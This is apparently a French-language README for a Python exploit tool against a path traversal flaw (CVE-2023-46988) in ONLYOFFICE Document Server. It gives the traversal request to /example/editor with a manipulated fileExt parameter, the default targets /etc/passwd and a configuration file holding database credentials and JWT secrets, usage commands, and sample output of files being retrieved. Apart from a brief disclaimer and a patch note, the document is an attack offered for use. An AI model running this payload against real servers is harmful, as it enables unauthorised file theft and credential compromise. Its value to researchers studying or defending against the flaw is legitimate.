Exploit de traversée de chemin ONLYOFFICE (CVE-2023-46988)

📌 Présentation

Ce script exploite une vulnérabilité de traversée de chemin dans ONLYOFFICE Document Server (CVE-2023-46988) qui permet à des utilisateurs non autorisés de copier des fichiers arbitraires depuis le serveur. La vulnérabilité existe dans le point de terminaison /example/editor, où le paramètre fileExt peut être manipulé pour accéder à des fichiers système et de configuration sensibles.

⚠️ Avertissement

Cet outil est destiné uniquement à des fins éducatives et de recherche en sécurité autorisée.
Toute utilisation non autorisée contre des systèmes sans autorisation explicite est illégale et contraire à l'éthique.

🛠 Fonctionnalités

• Récupère les fichiers sensibles par défaut :
  • /etc/passwd
  • /etc/onlyoffice/documentserver/local.json (contient les identifiants de base de données et les secrets JWT)
• Spécifie n'importe quel chemin de fichier à récupérer avec l'argument --file.
• Prend en charge le proxy optionnel pour l'interception Burp Suite (--proxy).
• Prend en charge la vérification SSL optionnelle (--verify).
• Corrige les problèmes d'encodage lors du téléchargement de fichiers avec des caractères spéciaux.

🚀 Utilisation

1️⃣ Utilisation de base (Récupérer les fichiers par défaut)

python onlyoffice_exploit.py http://localhost

Ceci récupère :

• /etc/passwd
• /etc/onlyoffice/documentserver/local.json

2️⃣ Récupérer un fichier personnalisé (ex. /etc/hosts)

python onlyoffice_exploit.py http://localhost --file /etc/hosts

3️⃣ Activer le proxy (ex. Burp Suite sur 127.0.0.1:8080)

python onlyoffice_exploit.py http://localhost --proxy

python onlyoffice_exploit.py http://localhost --proxy http://127.0.0.1:8080

4️⃣ Activer la vérification SSL

python onlyoffice_exploit.py https://example.local --verify

5️⃣ Combiner proxy et vérification SSL

python onlyoffice_exploit.py https://example.local --file /etc/hosts --proxy --verify

🔍 Comment cela fonctionne

1. Envoie une requête à /example/editor avec un paramètre fileExt malveillant :
   root@kitploit:~

   GET /example/editor?fileExt=../../../../../../../../etc/passwd
   

2. Extrait l'URL de redirection de la réponse.
3. Analyse le nom de fichier redirigé depuis la réponse.
4. Corrige les problèmes d'encodage pour les caractères spéciaux dans les noms de fichiers.
5. Télécharge le fichier depuis /example/download?fileName=<nom_de_fichier_extrait>.

🛠 Exemple de sortie

[*] URL cible : http://localhost
[*] Tentative de récupération : /etc/passwd
[*] Envoi de la requête à : http://localhost/example/editor?fileExt=../../../../../../../../etc/passwd
[+] URL de redirection extraite : http://localhost/example/download?fileName=.passwd
[+] Nom de fichier extrait : .passwd
[*] Téléchargement du fichier : http://localhost/example/download?fileName=.passwd
[+] Fichier téléchargé avec succès : .passwd

🔒 Atténuation

ONLYOFFICE a corrigé cette vulnérabilité dans sa mise à jour de février 2024.
Les utilisateurs doivent mettre à jour vers la dernière version pour protéger leurs serveurs.

🐜 Licence

Ce projet est sous licence MIT License – voir le fichier LICENSE pour plus de détails.